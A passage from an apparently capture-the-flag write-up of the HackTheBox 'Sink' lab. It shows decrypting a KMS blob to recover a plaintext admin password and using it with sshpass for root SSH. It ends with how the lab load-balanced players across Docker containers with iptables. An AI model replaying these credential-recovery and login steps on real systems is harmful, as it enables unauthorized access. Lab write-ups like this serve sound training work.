david@sink:~/Projects/Prod_Deployment$ awslocal kms decrypt --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --ciphertext-blob fileb://servers.enc --encryption-algorithm RSAES_OAEP_SHA_256
{
"KeyId": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0",
"Plaintext": "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=",
"EncryptionAlgorithm": "RSAES_OAEP_SHA_256"
}
Find Password
I’ll grab the base64-encoded blob, decode it, and output it to a file on my local machine:
oxdf@parrot$ echo "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=" | base64 -d > decrypted
oxdf@parrot$ file decrypted
decrypted: gzip compressed data, from Unix, original size modulo 2^32 10240
It’s now gzipped data. I can decompress that with zcat, which makes a tar archive:
oxdf@parrot$ zcat decrypted > decrypted_decompressed
oxdf@parrot$ file decrypted_decompressed
decrypted_decompressed: POSIX tar archive (GNU)
Extracting that provides two files, and the servers.yml file is plaintext:
oxdf@parrot$ tar xvf decrypted_decompressed
servers.yml
servers.sig
oxdf@parrot$ cat servers.yml
server:
listenaddr: ""
port: 80
hosts:
- certs.sink.htb
- vault.sink.htb
defaultuser:
name: admin
pass: _uezduQ!EY5AHfe2
It contains an admin password.
SSH
That password works over SSH for root:
oxdf@parrot$ sshpass -p '_uezduQ!EY5AHfe2' ssh root@10.10.10.225
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 25 Jan 2021 06:24:29 PM UTC
System load: 0.26
Usage of /: 44.1% of 19.56GB
Memory usage: 80%
Swap usage: 5%
Processes: 341
Users logged in: 1
IPv4 address for br-85739d6e29c0: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.10.225
IPv6 address for ens160: dead:beef::250:56ff:feb4:83fe
* Introducing self-healing high availability clusters in MicroK8s.
Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
49 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
You have new mail.
Last login: Mon Jan 25 18:22:45 2021
root@sink:~#
And I can grab root.txt:
root@sink:~# cat root.txt
13fb0edc************************
Beyond Root
Request smuggling was a really popular exploitation concept that I had heard about many times. SerialPwny was regularly DMing me to talk about how he exploited it for some bug bounty. Yet I never really had a feel for how it worked. And then MrR3boot builds this beautifil that displayed the technique so clearly. I loved it.
Sink was to be released only a few weeks after I started working for HackTheBox. The challenge with Sink is that for request smuggling to work, the malicious packet needed to be followed immediately by the legit traffic to be captured. How would this work on shared instances at HackTheBox, where many hackers were trying to exploit the vulnerability at the same time, and he legit traffic was scripted to occur only periodically?
We took advantage of the fact that the vulnerable application was running in Docker, which meant we could scale it. Instead of starting one instance of the flask container, we started 16:
root@sink:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3d55d9da52f0 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6015->8080/tcp gifted_poincare
3a88a256bfea app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6014->8080/tcp wizardly_borg
43cf1c3e4113 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6013->8080/tcp magical_greider
ecccc85cc666 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6012->8080/tcp stupefied_goldstine
1bc3f322af05 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6011->8080/tcp great_shamir
4348cfb57a49 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6010->8080/tcp stupefied_satoshi
aacae3cf513b app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6009->8080/tcp infallible_taussig
ff0c84e62bfa app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6008->8080/tcp vigorous_mendeleev
a3308a3f1e59 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6007->8080/tcp elegant_ramanujan
2bc3df8be4ea app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6006->8080/tcp elated_jackson
874e4a1392a2 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6005->8080/tcp clever_torvalds
c8361846ea2c app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6004->8080/tcp charming_mendeleev
ed03a109bb55 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6003->8080/tcp frosty_sammet
07c9fe1b8aea app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6002->8080/tcp flamboyant_dijkstra
a3bb59be4ff6 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6001->8080/tcp practical_hellman
5e2c45dfa518 app "/usr/bin/supervisor…" 7 months ago Up 8 minutes 172.17.0.1:6000->8080/tcp unruffled_lewin
ec0b4822129e localstack/localstack "docker-entrypoint.sh" 8 months ago Up 8 minutes 4567-4597/tcp, 127.0.0.1:4566->4566/tcp, 8080/tcp root_localstack_1
With 16 listening containers, we now wanted a way to load balance users across these instances. IppSec looked into a way to do it with a kernel module (which he talks about in his video for Validation), but we ended up going with a solution using IPtables. In /root/automation, there’s a rules.sh file which sets the rules on boot:
#!/bin/bash
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.0/0.0.0.15 -j DNAT --to-destination 172.17.0.2:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.1/0.0.0.15 -j DNAT --to-destination 172.17.0.3:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.2/0.0.0.15 -j DNAT --to-destination 172.17.0.4:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.3/0.0.0.15 -j DNAT --to-destination 172.17.0.5:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.4/0.0.0.15 -j DNAT --to-destination 172.17.0.6:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.5/0.0.0.15 -j DNAT --to-destination 172.17.0.7:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.6/0.0.0.15 -j DNAT --to-destination 172.17.0.8:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.7/0.0.0.15 -j DNAT --to-destination 172.17.0.9:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.8/0.0.0.15 -j DNAT --to-destination 172.17.0.10:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.9/0.0.0.15 -j DNAT --to-destination 172.17.0.11:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.10/0.0.0.15 -j DNAT --to-destination 172.17.0.12:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.11/0.0.0.15 -j DNAT --to-destination 172.17.0.13:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.12/0.0.0.15 -j DNAT --to-destination 172.17.0.14:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.13/0.0.0.15 -j DNAT --to-destination 172.17.0.15:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.14/0.0.0.15 -j DNAT --to-destination 172.17.0.16:8080
/usr/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 5000 -s 0.0.0.15/0.0.0.15 -j DNAT --to-destination 172.17.0.17:8080
For each rule, it’s matching on a destination port of 5000. For a given IP, it will use a mask of 0.0.0.15. 15 is 1111 in binary, so it’s look at the low four bits of the source IP, and comparing that to the defined value. So 0.0.0.4/0.0.0.15 would match on a .4, .20, .26, etc. With 16 rules, each IP is covered by only one of them. Each rule will do a NAT rewrite to forward you to one of the containers.
Effectively, this means for a given instance of sink, 1/16 of the players are targeting each container.